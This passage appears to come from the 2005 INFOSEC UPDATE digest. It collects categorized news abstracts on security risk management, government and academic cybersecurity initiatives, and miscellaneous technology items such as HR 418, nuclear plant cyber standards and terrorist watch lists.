The Honorable Dr. Paul characterizes HR 418 as a National ID Card bill masquerading as immigration reform. The clarity and brevity of his comments merit reading, both from an infosec perspective as well as a countermeasures perspective (... excerpted and LMS-ed below):

"...this bill will do very little to make us more secure. It will not address our real vulnerabilities. It will, however, make us much less free. In reality, this bill is a Trojan horse. It pretends to offer desperately needed border control in order to stampede Americans into sacrificing what is uniquely American: our constitutionally protected liberty."

"This bill establishes a massive, centrally-coordinated database of highly personal information about American citizens: at a minimum their name, date of birth, place of residence, Social Security number, and physical and possibly other characteristics ... that will be shared with Canada and Mexico!"

"This legislation gives authority to the Secretary of Homeland Security to expand required information on drivers' licenses, potentially including such biometric information as retina scans, finger prints, DNA information, and even Radio Frequency Identification (RFID) radio tracking technology."

"There are no limits on what happens to the database of sensitive information on Americans once it leaves the United States for Canada and Mexico - or perhaps other countries. Who is to stop a corrupt foreign government official from selling or giving this information to human traffickers or even terrorists? Will this uncertainty make us feel safer?"

Security practitioners know better than most the aptness of the saying, "err in haste, repent at leisure." I hope Representative Paul's common-sense proves to be contagious before HR 418 comes to a floor-vote.

Category 4C2	Risk management methodology & tools
2005-03-04	nuclear power plant information security digital systems SCADA government
	regulations standards industry protest obstruction denial

RISKS; http://www.securityfocus.com/news/10618?ref=rss

78

78

23

SECURITY? NUCLEAR PLANTS DON'T NEED NO STINKIN' SECURITY!

Jim Horning relayed a discussion of nuclear power industry opposition to proposals for improved cyber security in nuclear generator plants.

"Two companies that make digital systems for nuclear power plants have come out against a government proposal that would attach cyber security standards to plant safety systems. The 15-page proposal, introduced last December by the U.S. Nuclear Regulatory Commission (NRC), would rewrite the commission's 'Criteria for Use of Computers in Safety Systems of Nuclear Power Plants.' The current version, written in 1996, is three pages long and makes no mention of security. The plan expands existing reliability requirements for digital safety systems, and infuses security standards into every stage of a system's lifecycle, from drawing board to retirement. Last month the NRC extended a public comment period on the proposal until March 14th to give plant operators and vendors more time to respond. So far, industry reaction has been less than glowing."

"The NRC tries to promote the use of digital technology in the nuclear power industry on the one hand, but then overprescribes what is needed when a digital safety system is proposed," wrote one company president.

"The entire cyber security section should be deleted and only a passing reference to the subject retained," another company wrote.

More information at http://www.securityfocus.com/news/10618?ref=rss and http://horning.blogspot.com/2005/03/security-nuclear-plants-dont-need-no.html

Category 4C2 Risk management methodology & tools

2005-03-07 airport safety false sense security identification authentication counter-terrorism failure fraud propaganda illusion

RISKS; http://www.nytimes.com/2005/03/06/magazine/06ADVISER.html 23

AIRPORT SECURITY CHECK OF LICENSES A FARCE

John F. McMullen provided this abstract of an article by Richard A. Clarke, former counter-terrorism adviser on the U.S. National Security Council that was published in the New York Times:

Have you ever wondered what good it does when they look at your driver's license at the airport? Let me assure you, as a former bureaucrat partly responsible for the 1996 decision to create a photo-ID requirement, it no longer does any good whatsoever. The ID check is not done by federal officers but by the same kind of minimum-wage rent-a-cops who were doing the inspection of carry-on luggage before 9/11. They do nothing to verify that your license is real. For \$48 you can buy a phony license on the Internet (ask any 18-year-old) and fool most airport ID checkers. Airport personnel could be equipped with scanners to look for the hidden security features incorporated into most states' driver's licenses, but although some bars use this technology to spot under-age drinkers, airports do not. The photo-ID requirement provides only a false sense of security.

23

24

11

79

Category 4C2 Risk management methodology & tools 2005-03-12 risk management assessment professionals credentials credibility software quality assurance QA

RISKS

NEED PROFESSIONAL RISK ASSESSMENT TO IMPROVE SYSTEMS

Jack Goldberg published a thoughtful essay about risk management in RISKS:

Risks associated with developing and using computer systems have been documented widely (e.g., by PGN) and have become part of popular awareness. Economic costs resulting from these risks are huge, though presently unquantified. They include the costs of system failures, abandoned system developments, and lost opportunities to build valuable systems whose complexity is deemed beyond present art.

Despite the widespread awareness of this situation, nothing fundamental has been done to change it. New system technologies attempt to improve matters by giving system builders better tools. Large corporate and government initiatives to improve system trustworthiness have been announced. Despite many advances, system development risks have not abated. New systems keep getting developed whose defects are discovered too late to be repaired economically. Repairs become patches and basic defects remain embedded in the system. These problems are pervasive, both in safety and infrastructure-critical applications and in the mundane data-processing applications that support the national economy.

With all the awareness of the hazards of system building, why does this bad situation continue? We suggest that the reason is the weakness of current risk assessment for new systems. Warnings about computer system risks that are given in an early stage do not have the force of warnings in other disciplines such as medicine and civil engineering and so they are ignored or discounted.

What can be done to improve the believability of warnings about development hazards? We do not envision a super-powerful tool that can generate a high-confidence hazard assessment for all situations. Rather we see the need for a profession of hazard auditors who have earned acceptance based on their scientific skills and experience. The need for their skills should be assumed and demanded in all system development efforts. Their observations (and if necessary, testimonies) should be communicated to purchasers, builders and users. Tools should be developed to support their analyses.

Building such a profession would be a substantial effort but the effort would surely be justified by the enormous cost of current development deficiencies. Government agencies, corporations, universities and professional associations all have clear roles to perform.

Category 4C2	Risk management methodology & tools
2005-12-06	terrorism threat counter-terrorism watch lists mistakes US DHS errors risk false positives identification authentication I&A

RISKS; http://tinyurl.com/chvdq

HASSLES OF TERRORIST WATCH LISTS

Contributor Richard M. Smith documents a CNET news article bemoaning the hassles of being placed on a terrorist watch list. Nearly 30,000 airline passengers found out in 2004 that they were on such lists. The article continued:

>Jim Kennedy, director of the Transportation Security Administration's redress office, revealed the errors at a quarterly meeting convened here by the U.S. Department of Homeland Security's Data Privacy and Integrity Advisory Committee.

Marcia Hofmann, staff counsel at the Electronic Privacy Information Center, said this appeared to be the first time such a large error has been admitted. "It was a novel figure to me," Hofmann said. "The figure shows that many more passengers than we've anticipated have encountered difficulty at airports. The watch list still has a long way to go before it does what it's supposed to do."

Kennedy said that travelers have had to ask the TSA to remove their names from watch lists by submitting a "Passenger Identity Verification Form" and three notarized identification documents. On average, he said, it takes officials 45 to 60 days to evaluate the request and make any necessary changes.

Travelers have been instructed to file the forms only after experiencing "repeated" travel delays, he said, because additional screening can occur for multiple reasons, including fitting a certain profile, flying on a one-way ticket, or being selected randomly by a computer.<

Category 4C2	Risk management methodology & tools		
2005-12-19	UK psychology professor James Reason absent-mindedness interview ABC	risk manage	ement
RISKS; http://abc.ne	t.au/rn/podcast/feeds/health_20051219.mp3	24	13
PSYCHOLOGY PROF. INTERVIEW ABOUT RISK MANAGEMENT			

Contributor James Cameron refers us to a valuable interview of James Reason, Emeritus Professor of Psychology at University of Manchester (UK). Prof. Reason talks about:

* Absentmindedness,

* the Tenerife disaster (1977, two Boeing 747s collide),

* no remedial benefit from blame,

* root cause analysis,

* the Gimli Glider.

Mr Cameron writes, "Here is an interview that is very suitable for passing on to your non-technical friends who don't understand why you are so morbidly fascinated with risks."

Interview transcript: http://www.abc.net.au/rn/talks/8.30/helthrpt/stories/s1529677.htm

4C5 Academic/Industry/Vendor/Govt efforts

 Category
 4C5
 Academic/Industry/Vendor/Govt efforts

 2005-03-18
 European government Internet terror watch team study information sharing police

 DHS IAIP Daily; http://news.bbc.co.uk/1/hi/technology/4360727.stm

EUROPEAN GOVERNMENTS TO FORM INTERNET 'TERROR WATCH' TEAM

Five European governments are setting up a hi-tech team to monitor how terrorists and criminals use the Internet. The group will make recommendations on shutting down Websites that break terrorism laws. The plans for the initiative came out of a meeting of the G5 interior ministers in Spain that discussed ways to tackle these threats. The five countries also agreed to make it easier to swap data about terror suspects and thefts of explosives. The interior ministers of Spain, Britain, France, Germany and Italy -- the G5 -- met in Granada, Spain last week for an anti-terrorism summit. To combat terrorism the ministers agreed to make it easier for police forces in their respective states to share data about suspects connected to international terror groups. Part of this anti-terror work will involve the creation of the technical team that will keep an eye on how organized crime groups and terrorists make of the web.

 Category
 4C5
 Academic/Industry/Vendor/Govt efforts

 2005-03-21
 IT security function improvement cybersecurity team meeting Office of Budget and Management OMB

DHS IAIP Daily; http://www.gcn.com/24_6/news/35313-1.html

NEW CYBERSECURITY TEAM MEETS THIS WEEK

The Office of Management and Budget (OMB) has created a task force that this week will begin figuring out how agencies can share cybersecurity functions. The team of senior IT managers will look at training, incident response, disaster recovery, contingency planning and how agencies select security products. The March 23 kick-off meeting will start a six-month study. By September, the group must develop a business case for IT security functions that can be provided centrally by agencies or vendors. OMB wants the new cybersecurity task force to ferret out functions that, if shared or standardized, will mean quick and easy improvements across the government. Karen Evans, OMB's administrator for IT and e-government, said guidance from the task force's findings will be available to agencies for the fiscal 2007 budget cycle. OMB Website: http://www.whitehouse.gov/omb/

Category 4C5 Academic/Industry/Vendor/Govt efforts

2005-03-24 Federal Bureau of Investigation companies report intrusions management concern security breaches stock prices

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0,10801,100598,00.html

FBI ASKS COMPANIES TO REPORT CYBER INTRUSIONS.

Corporate executives are often reluctant to report network intrusions for fear of having those security breaches made public and drag down stock prices. But state and federal law enforcement officials who spoke at an information security panel in New York on Wednesday, March 23, said such reports can sometimes provide an important missing link in larger cybersecurity investigations. "It may be a critical piece of information you're submitting to us – you never know where that fits into the pie," said Ron Layton, section chief of the cyber coordination branch for the Department of Homeland Security (DHS). Layton was one of several law enforcement officials who spoke at an information security conference sponsored by AIT Global Inc. and InfoWorld Media Group. Network intrusion reports don't necessarily have to fall within the statutory \$5,000 minimum loss for federal authorities to investigate them, said Kent McCarthy, a special agent for the Secret Service in New York. McCarthy said the Secret Service does its best to protect the anonymity of corporations that report network intrusions. "We're not looking for a press release," he said. DHS cyber coordination branch: http://www.uscert.gov and Secret Service: http://www.ustreas.gov/usss/index.shtml

Category 4C5 Academic/Industry/Vendor/Govt efforts 2005-04-05 federal information security improvement CISO Exchange Government Accountability Office GAO

DHS IAIP Daily; http://www.federaltimes.com/index2.php?S=766429

GROUP AIMS TO BOOST FEDERAL INFORMATION SECURITY

A group of government and industry executives will meet for the first time this month to map out a strategy for improving the government's information security. The CISO Exchange is comprised of five chief information security officers from various federal agencies, one federal chief security officer, and two executives from information technology companies. It is a privately funded working group that will hold quarterly educational meetings and produce an annual report on the government's information technology security policies and operational issues. The exchange was announced in February by the federal Chief Information Officers Council and Representative Tom Davis from Virginia, chairman of the House Government Reform Committee. They announced the exchange as a way to boost security through educational meetings between chief information security officers and others in government and private industry. The group also will work with the Government Accountability Office and inspector general offices. At least 50 companies have inquired about joining the exchange, said Stephen O'Keeffe, of O'Keeffe & Company, the company managing the meetings. The two fellows on the exchange so far paid \$75,000 apiece, he said.

 Category
 4C5
 Academic/Industry/Vendor/Govt efforts

 2005-04-11
 National Science Foundation NSF cybersecurity foundation research

 DHS IAIP Daily;
 http://www.nsf.gov/news/news_summ.jsp?cntn_id=103178&org=OLP

 A&from=news
 NATIONAL SCIENCE FOUNDATION ANNOUNCES INTENT TO ESTABLISH CYBERSECURITY CENTER

The National Science Foundation (NSF) has announced it intends to establish two new Science and Technology Centers (STCs) in fiscal 2005. One is a major collaborative cybersecurity project led by the University of California, Berkeley, and a second, centered at the University of Kansas, will study polar ice sheets. The cybersecurity center will investigate key issues of computer trustworthiness in an era of increasing attacks at all levels on computer systems and information-based technologies. The Team for Research in Ubiquitous Secure Technology (TRUST) will address a parallel and accelerating trend of the past decade–the integration of computing and communication across critical infrastructures in areas such as finance, energy distribution, telecommunications and transportation. The center will lead development of new technologies based on findings from studies of software and network security, trusted platforms and applied cryptographic protocols. Formal approval of the new centers, with funding estimated at nearly \$19 million over five years for each center, is still subject to final negotiations between NSF and the lead institutions. UC Berkeley Press Release: http://www.berkeley.edu/news/media/releases/2005/04/11_trust .shtml

Additional information from an article by Daniel S. Levine in the SF Business Times:

* The project leader will be S. Shankar Sastry, UC Berkeley professor of electrical engineering;

* "Other members of the TRUST effort are Carnegie Mellon University, Cornell University, Mills College, San Jose State University, Smith College, Stanford University and Vanderbilt University. The initiative also brings together industrial and other affiliates, including Bellsouth, Cisco Systems, ESCHER (a research consortium that includes Boeing, General Motors and Raytheon), Hewlett-Packard, IBM, Intel, Microsoft, Oak Ridge National Laboratory, Qualcomm, Sun Microsystems and Symantec."

 Category
 4C5
 Academic/Industry/Vendor/Govt efforts

 2005-04-15
 vendor government cybersecurity focus call Congress legislation information technology CSIA Department of Homeland Security DHS

DHS IAIP Daily; http://www.nwfusion.com/news/2005/0415vendocall.html

VENDORS CALL FOR MORE GOVERNMENT CYBERSECURITY FOCUS

The U.S. government needs to get more serious about cybersecurity, but Congress should look at broader ways to combat security problems than focusing on bills that address specific issues such as spam or spyware, a group of executives from IT security product vendors said last week. Members of the Cyber Security Industry Alliance (CSIA), meeting in Washington, DC, Thursday, April 14, repeated their call for Congress to create an assistant secretary for cybersecurity position at the Department of Homeland Security. Members of the year-old CSIA, meeting as a rash of data breaches have been announced in recent months, said they committed this week to helping Congress and administration officials understand cybersecurity issues. While most CSIA executives said they would welcome the right kind of cybersecurity legislation, not all technology companies favor new laws. Private companies should have time to find their own solutions to data breaches and explain their efforts to Congress, said Howard Schmidt, chief security strategist at eBay, during a forum on ID theft at the Washington think tank the Center for Strategic and International Studies Friday, April 15. CSIA Website: https://www.csialliance.org/home

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category 4C5	Academic/Industry/Vendor/Govt efforts
2005-06-06	US Department of State cybersecurity awareness month June NSA FBI help
DHS IAIP Daily; http:	//www.gcn.com/vol1_no1/daily-updates/35993-1.html

DEPARTMENT OF STATE TO PROMOTE CYBERSECURITY AWARENESS

June is designated as the Department of State's Cybersecurity Awareness Month. Between June 7 and June 29, the Diplomatic Security Bureau's Computer Security Office and the Information Resources Management Bureau's Information Assurance Office will sponsor the project to improve employees' understanding of proper security procedures. The bureaus plan to hold events that will include topics on how to fend off phishing scams and other security risks based on social engineering, a demonstration of how hackers work, explanations of how to become a certified IT professional and information on spyware, antivirus software and other tools. The sessions will feature speakers from the National Security Agency, the FBI, the Agency for International Development and leading technology companies.

Category 4C5	Academic/Industry/Vendor/Govt efforts		
2005-08-01	annivsary issue RISKS FORUM DIGEST congratulation achievement mazal tov	ons great work sp	plendid
RISKS		23	96

20TH ANNIVERSARY OF RISKS!

Congratulations and THANKS to Peter G. Neumann for his stellar work on the RISKS FORUM DIGEST, which reached its 20th anniversary on 1 August 2005. Here's Peter's comment:

>Somehow it escaped my attention when I put out RISKS-23.95 a few minutes ago, that it was exactly the 20th anniversary of the day on which I had put out RISKS-1.01, on 1 Aug 1985 -- using a primitive line-by-line editor on a huge (not-so-)Silent 700 with an acoustic coupler over a very slow cross-country phone line. Since then, the various technologies have of course increased dramatically. Unfortunately, the risks have also -- in that the same kinds of problems still recur with respect to safety, reliability, security, survivability, interoperability, human culpability, and so on, seemingly ad infinitum, combined with the reality that so many more people are now dependent upon computers and their interconnectivity.

I imagine that I won't keep it up for *another* 20 years (for example, I observe that my ratio of puns seems to have declined), but hopefully one (or some) of you will want to continue the tradition when the time comes. It would be a real shame to let the Risks Forum disappear. Even though the same or similar problems keep recurring, there is an important message herein -- and just another reminder of the needs for constant vigilance, increased awareness, better education, and -- above all -- BETTER SYSTEMS.

Cheers to all! PGN<

Category 4C5	Academic/Industry/Vendor/Govt efforts
2005-08-19	Germany German government efforts national IT secu

Germany German government efforts national IT security plan

DHS IAIP Daily;

http://www.infoworld.com/article/05/08/19/HNgermansecurity 1 .html?source=rss&url=http://www.infoworld.com/article/05/08/ 19/HNgermansecurity_1.html

GERMAN GOVERNMENT LAUNCHES NATIONAL IT SECURITY PLAN

The German government aims to counter the alarming rise in computer viruses with a national IT security plan that includes the establishment of a computer emergency response center. The new plan was unveiled Thursday, August 18, in Berlin by Interior Minister Otto Schily. The German government's "National Plan to Protect IT Infrastructures" has three major focuses: early prevention, swift response and security standards. The Federal Office for Security in Information Technology (BSI) will play a key role. It will be responsible for developing and implementing new security standards in the public sector, and publishing guidelines for the private sector. BSI will also house the computer emergency response center, which will collaborate with providers of IT security services in the private sector. Among the planned tasks of the center: sending e-mail alerts about potential threats and responding to attacks with hotline technical support. The German IT security plan is available in German on the ministry's Website at: http://www.bmi.bund.de/cln_028/nn_122688/Internet/Content/Co mmon/Anlagen/Nachrichten/Pressemitteilungen/2005/08/National er_Plan_Schutz_Informationsinfrastrukturen,templateId=raw

,property=publicationFile.pdf/Nationaler_Plan_Schutz_Informa tionsinfrastrukturen.

Category 4C5	Academic/Industry/Vendor/Govt efforts
2005-08-24	FBI DoJ information sharing IT project criminal investigations
DUGLIDD 1	

DHS IAIP Daily; http://www.gcn.com/vol1_no1/security/36759-1.html

DEPARTMENT OF JUSTICE, FBI TO SPUR INFORMATION SHARING

The FBI and Justice Department plan to accelerate their efforts to consolidate systems and improve sharing of information needed for criminal investigations and prosecutions by launching two major IT projects. The FBI project, known as Next Generation IAFIS, is aimed at upgrading the Integrated Automated Fingerprint Identification System run by the bureau's National Crime Information Center in Clarksburg, WV. Next Generation IAFIS is intended to improve the efficiency of IAFIS' function of matching fingerprint evidence to the bureau's trove of millions of sets of 10-finger images, according to FBI officials and procurement documents. Next Generation IAFIS will also interact with the IDENT fingerprint database run by the Department of Homeland Security's U.S. Visitor and Immigrant Status Indicator Technology system. Justice's Litigation Case Management System (LCMS) project is intended to promote information sharing among the 94 U.S. attorneys' offices and six major divisions at headquarters that bring cases to court. As it stands now, the U.S. attorneys' offices have litigation case management systems that link poorly or not at all with one another and with headquarters systems. National Crime Information Center: http://www.fbi.gov/hq/cjisd/iafis.htm Department of Justice: http://www.usdoj.gov/

 Category
 4C5
 Academic/Industry/Vendor/Govt efforts

 2005-09-19
 information cybersecurity government academia college collaboration Iowa State

 NSF Center for Information Protection

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,122596,00.asp

COLLEGES, GOVERNMENT TEAM ON CYBERSECURITY

Iowa State University and the U.S. National Science Foundation will join with private businesses to attack cybersecurity problems. The new Center for Information Protection will focus on short-term cybersecurity issues identified by member companies. It also has a to develop new technologies that participants can use to fight common cybersecurity problems.

 Category
 4C5
 Academic/Industry/Vendor/Govt efforts

 2005-09-28
 cybersecurity firms business tax break US government effort Congress incentive security

DHS IAIP Daily; http://www.nytimes.com/cnet/CNET_2100-7348_3-5884149.html

TAX BREAKS FOR CYBERSECURITY FIRMS?

Congress may start offering tax breaks to companies that adopt good cybersecurity standards. Dan Lungren, chair of the U.S. House of Representatives cybersecurity subcommittee, is working on an "overall view of ways we can work with the private sector" to develop cybersecurity tools, including the possibility of creating an incentive-based system. Andy Purdy, acting director of the Department of Homeland Security's National Cybersecurity Division, said in a speech that his agency is also working closely with the private sector to equip itself for responding to cyberattacks.

Category 4C5 Academic/Industry/Vendor/Govt efforts

2005-10-18 Schools cyberattack data colleges universities assessment project U.S. Department of Justice New York firwall intrusion reports networks

DHS IAIP Daily;

http://news.com.com/Schools+get+tailored+cyberattack+data/21 00-7347_3-5900684.html?tag=cd.top

SCHOOLS GET TAILORED CYBERATTACK DATA

U.S. colleges and universities are getting a service that analyzes security data to help fend off cyberattacks. According to Steffani Burd, the executive director of Information Security in Academic Institutions, "The goal is to have an accurate assessment of information security in academic institutions." The project is sponsored by the research arm of the U.S. Department of Justice and run by Columbia University's Teachers College in New York. Academic organizations will be expected to submit logs from their firewall and intrusion detection systems so the service can parse the data and generate reports on attacks. Those reports can then be used to protect networks. Johannes Ullrich, the chief research officer at the SANS Institute and founder of DShield.org states, "Academic institutions face the challenge of maintaining an open network while also providing security for their users. This data will help them decide what protection to deploy while minimizing restrictions."

Category 4C5 Academic/Industry/Vendor/Govt efforts 2005-10-27 PC United Kingdom National Hi-Tech Crime Unit IT BT Dell eBay HSBC Lloyds TSB Microsoft MessageLabs securetrading Yell

DHS IAIP Daily; http://www.getsafeonline.org./

PC AWARENESS PROGRAM LAUNCHED IN THE UNITED KINGDOM

The UK's National Hi-Tech Crime Unit has teamed with the IT industry to launch an awareness program to increase understanding about PC security. The program, "Get Safe Online," is a joint initiative among the government, the National Hi-Tech Crime Unit, and private sector sponsors including BT, Dell, eBay, HSBC, Lloyds TSB, Microsoft, MessageLabs, securetrading.com, and Yell.com. A report released to coincide with the program's launch found that over three quarters of the UK's population (83 percent) don't know enough about protecting themselves online, and that 42 percent of the population just rely on friends and family for online safety advice rather than finding expert information for themselves.

Category 4C5	Academic/Industry/Vendor/Govt efforts
2005-11-04	government accounting office GAO report Internet Management Prevalence of
	False Contact Information for Registered Domain Names

DHS IAIP Daily; http://www.gao.gov/new.items/d06165.pdf

INTERNET MANAGEMENT: PREVALENCE OF FALSE CONTACT INFORMATION FOR REGISTERED DOMAIN NAMES (REPORT)

Individuals or organizations seeking to register the names of their Websites may provide inaccurate contact information to registrars in order to hide their identities or to prevent members of the public from contacting them. Contact information is made publicly available on the Internet through a service known as Whois. Data accuracy in the Whois service can help law enforcement officials to investigate intellectual property misuse and online fraud, or identify the source of spam e-mail, and can help Internet operators to resolve technical network issues. The Government Accountability Office was asked, among other things, to (1) determine the prevalence of patently false or incomplete contact data in the Whois service for the .com, .org, and .net domains; (2) determine the extent to which patently false data are corrected within one month of being reported to the Internet Corporation for Assigned Names and Numbers (ICANN); and (3) describe steps the Department of Commerce and ICANN have taken to ensure the accuracy of contact data in the Whois database. Highlights: http://www.gao.gov/highlights/d06165high.pdf

Category 4C5	Academic/Industry/Vendor/Govt efforts
2005-11-08	Liberty Alliance authentication protocols devices hardware software improvement efforts tokens biometrics

EDUPAGE; http://news.zdnet.com/2100-1009_22-5940442.html

LIBERTY ALLIANCE LOOKS TO STRENGTHEN AUTHENTICATION

The Liberty Alliance has announced the creation of the Strong Authentication Expert Group, charged with developing standards of interoperability for authentication tools that go beyond simple passwords. User passwords are widely considered a weak link in the chain of efforts to safeguard online resources and transactions, and calls have gone out recently to add other layers of authentication. New layers could include hardware devices, password tokens, biometric identification, or others. The new group will develop a specification known as Identity Strong Authentication Framework (ID-SAFE), the first version of which is expected in 2006, according to the Liberty Alliance. American Express, Axalto, HP, Oracle, RSA Security, and VeriSign are among the members of the new group. All other members of the Liberty Alliance may also join. ZDNet, 8 November 2005

Category 4C5	Academic/Industry/Vendor/Govt efforts
2005-12-15	computer science research laboratory lab University California Berkeley Reliable Adaptive Distributed Systems Google Microsoft Sun Microsoft nonproprietary freely licensed ACM

EDUPAGE; http://www.nytimes.com/2005/12/15/technology/15research.htm

BERKELEY FUNDED FOR NEW RESEARCH LAB

Google, Microsoft, and Sun Microsystems plan to fund the Reliable, Adaptive, and Distributed Systems Laboratory at the University of California, Berkeley, to focus on the design of more dependable computing systems. According to Berkeley researchers involved with the new lab, research results will be nonproprietary and freely licensed. The three companies have pledged \$500,000 each yearly for five years to support the project. The lab's founding director, computer scientist David Patterson, is currently president of the Association for Computing Machinery. According to Patterson, "We're trying to sustain the broad vision, high-risk, and high-reward research model" in establishing the new research facility. New York Times, 15 December 2005 (registration req'd)

4D Funny / miscellaneous

Category 4D Funny / miscellaneous

2005-07-01 quantum computing information processing progress HP DARPA

EDUPAGE; http://www.nytimes.com/2005/07/01/technology/01hewlett.html

HP CLAIMS PROGRESS ON QUANTUM COMPUTING

Researchers at HP said they have taken a significant step in the development of a functioning quantum computer, and the Pentagon's Defense Advanced Research Projects Agency (DARPA) is contributing as much as \$10 million to support the project. As opposed to the transistors--which can register either 1 or 0--that underlie today's computer processors, quantum computing is based on the physics of subatomic particles, allowing so-called "qubits" to represent both 1 and 0 simultaneously. The result could be vastly expanded processing power of quantum computers compared to those based on transistors. The DARPA funding will be used by the researchers to construct a functioning prototype. One researcher commented that to perform a single demonstration will not be difficult; the challenge lies in doing it reliably and "in a way that will allow us to do quantum information processing." Other quantum physics researchers question the basis of the HP team's approach, saying that fundamentally different approaches to quantum computing hold more promise. New York Times, 1 July 2005 (registration req'd)

Category 4D Funny / miscellaneous

2005-07-15 science

science engineering higher education graduates US losing group internationally

EDUPAGE; http://www.insidehighered.com/news/2005/07/15/science

U.S. LOSING GROUND IN SCIENCE AND ENGINEERING

Confirming the suspicions of many, a new report from the National Bureau of Economic Research indicates that the United States is steadily losing ground to a number of other countries, particularly China, in the number of PhDs it awards in science and engineering fields. In 1970, nearly one-third of the world's college students attended a college or university in the United States, and more than half of the science and engineering PhDs were awarded by U.S. schools. A number of global factors contributed to those numbers, making them artificially high. Since that time, however, higher education around the world, and especially programs in science and engineering, has greatly expanded, leaving the United States with just 14 percent of the world's college students by 2001. According to the report, China could surpass the United States as early as 2010 in the number of science and engineering PhDs it awards. Inside Higher Ed, 15 July 2005

Category 4D Funny / miscellaneous

2005-07-21 science graduates shortage bill US Senate Technology Talent Act

EDUPAGE; http://www.internetnews.com/bus-news/article.php/3521851

SENATORS TO ADDRESS SHORTAGE OF SCIENCE GRADS

U.S. Senators said they will propose a bill next week to increase federal funding of multidisciplinary research and support for "revolutionizing" manufacturing technologies and processes. The legislation will also increase spending for the Technology Talent Act, which provides grants to colleges and universities to increase the number of science and engineering graduates. The proposed legislation is based on the 2004 National Innovation Initiative Report released by the Council on Competitiveness. That report calls for creating 5,000 new federally funded graduate fellowships, reworking immigration laws, and building 10 "innovation hot spots." Internet News, 21 July 2005

Category 4D	Funny / miscellaneous		
2005-10-27	GPS data error human judgement override accident consequen	ces legal lia	bility
RISKS		24	10
WHICH DO YOU BE	ELIEVE: COMPUTERS OR REALITY?		

Mike Scott contributed this chilling tale of excessive dependence on computerized information:

>My son was being driven by a friend in London. The friend's car was equipped with some sort of GPS navigation. They were driving eastbound along the north side of the River Thames, intending to cross at Tower bridge to a destination on the south side of the river. The GPS said "turn right" when they reached the bridge. The only snag is that this is a one-way system. To cross the bridge you turn left, *away* from the bridge, and drive right round the block. Unfortunately, said friend [paid] more attention to the GPS than the road signing, and very nearly collided with a car coming the other way.<

Mr Scott wondered about legal liability of the GPS navigator makers if there had been an accident.

[Lightly edited by MK]

Category 4D	Funny / miscellaneous
2005-12-11	China overtake US information technology IT good supplier

DHS IAIP Daily;

http://www.nytimes.com/2005/12/11/business/worldbusiness/11c ndhitech.html?adxnnl=1&adxnnlx=1134398046-RvJh6wxlZ7Zf7UdIW s/ljg

CHINA OVERTAKES U.S. AS SUPPLIER OF INFORMATION TECHNOLOGY GOODS

After almost a decade of explosive growth in its electronics sector, China has overtaken the U.S. as the world's biggest supplier of information technology goods, according to a report by the Organization for Economic Cooperation and Development. Data in the report, published on Monday, December 12, show that China's exports of information and communication technology increased by more than 46 percent to \$180 billion in 2004 from a year earlier, easily outstripping for the first time U.S. exports of \$149 billion, which grew 12 percent from 2003. The figures compiled by the Organization for Economic Cooperation and Development, based in Paris, also reveal that China has come close to matching the U.S. in the overall value of its trade in information and communications technology products. The value of China's combined exports and imports of such goods soared to \$329 billion in 2004 from \$35 billion in 1996. Over the same period, the value of American information technology trade expanded at a slower rate, to \$375 billion from \$230 billion. Organization for Economic Cooperation and Development's data: http://www.oecd.org/document/8/0,2340,en_2649_201185_3583309 6_1_1_10.0.html

Category 4D Funny / miscellaneous 2005-12-16 Wikipedia free online encyclopedia content evaluation Nature Britannica science accuracy

EDUPAGE; http://networks.silicon.com/webwatch/0,39024667,39155109,00.htm

STUDY EVALUATES WIKIPEDIA CONTENT

According to a research study published in the journal Nature, Wikipedia compares favorably with the Encyclopedia Britannica in the accuracy of its information despite recent criticisms of its content and methods. The Nature study compared articles from both Web sites on a wide range of topics, asking field experts to review the accuracy of the entries. Serious errors (such as misunderstandings of vital concepts) were evenly distributed between the two encyclopedias, with four serious errors each. As for errors of fact, omissions, or misleading text, Wikipedia had 162 such errors and Britannica had 123. The study is the first to use peer review to compare the accuracy of the two sources' coverage of science. Silicon.com, 16 December 2005